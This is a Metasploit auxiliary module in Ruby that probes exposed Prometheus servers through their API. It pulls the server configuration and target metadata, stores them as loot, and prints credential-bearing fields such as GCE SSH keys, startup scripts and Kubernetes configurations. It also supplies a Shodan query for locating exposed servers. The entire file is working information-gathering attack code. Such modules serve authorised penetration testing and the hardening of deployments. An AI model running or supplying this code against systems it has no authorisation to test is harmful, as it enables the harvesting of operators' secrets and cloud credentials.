##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Prometheus

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Prometheus API Information Gather',
        'Description' => %q{
          This module utilizes Prometheus' API calls to gather information about
          the server's configuration, and targets. Fields which may contain
          credentials, or credential file names are then pulled out and printed.

          Targets may have a wealth of information, this module will print the following
          values when found:
          __meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script,
          __meta_gce_metadata_kube_env, kubernetes_sd_configs,
          _meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration,
          __meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy

          Shodan search: "http.favicon.hash:-1399433489"
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die'
        ],
        'References' => [
          ['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/'],
          ['URL', 'https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/']
        ],

        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2016-07-01', # Prometheus 1.0 release date, who knows....
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9090),
        OptString.new('TARGETURI', [ true, 'The URI of Prometheus', '/'])
      ]
    )
  end

  def run
    vprint_status("#{peer} - Checking build info")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'buildinfo'),
      'method' => 'GET'
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
    json = res.get_json_document
    version = json.dig('data', 'version')
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find version number)") unless version
    print_good("Prometheus found, version: #{version}")

    vprint_status("#{peer} - Checking status config")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'config'),
      'method' => 'GET'
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
    yaml = json.dig('data', 'yaml')
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find yaml)") unless yaml
    begin
      yamlconf = YAML.safe_load(yaml)
      loot_path = store_loot('Prometheus YAML Config', 'application/yaml', datastore['RHOST'], yaml, 'config.yaml')
      print_good("YAML config saved to #{loot_path}")
      prometheus_config_eater(yamlconf)
    rescue Psych::DisallowedClass
      # [-] Auxiliary failed: Psych::DisallowedClass Tried to load unspecified class: Symbol
      print_bad('Unable to load YAML')
    end

    vprint_status("#{peer} - Checking targets")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'targets'),
      'method' => 'GET'
    )
    table_targets = Rex::Text::Table.new(
      'Header' => 'Target Data',
      'Indent' => 2,
      'Columns' =>
      [
        'Field',
        'Data'
      ]
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200

    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
    loot_path = store_loot('Prometheus JSON targets', 'application/json', datastore['RHOST'], json.to_json, 'targets.json')
    print_good("JSON targets saved to #{loot_path}")
    json.dig('data', 'activeTargets').each do |target|
      [
        '__meta_gce_metadata_ssh_keys', '__meta_gce_metadata_startup_script', '__meta_gce_metadata_kube_env', 'kubernetes_sd_configs',
        '_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration', '__meta_ec2_tag_CreatedBy', '__meta_ec2_tag_OwnedBy'
      ].each do |key|
        if target[key]
          table_targets << [
            key,
            target[key]
          ]
        end

        next unless target.dig('discoveredLabels', key)

        table_targets << [
          key,
          target.dig('discoveredLabels', key)
        ]
      end
    end

    print_good(table_targets.to_s) if !table_targets.rows.empty?

    vprint_status("#{peer} - Checking status flags")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'flags'),
      'method' => 'GET'
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
    print_good("Config file: #{json.dig('data', 'config.file')}") if json.dig('data', 'config.file')

    # check for pprof
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'debug', 'pprof/'), # include trailing /
      'method' => 'GET'
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    print_good("#{peer}#{target_uri.path}debug/pprof/ found, potential DoS and information disclosure. Should be manually reviewed.") if res.code == 200 && res.body.include?('Profile Descriptions')
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
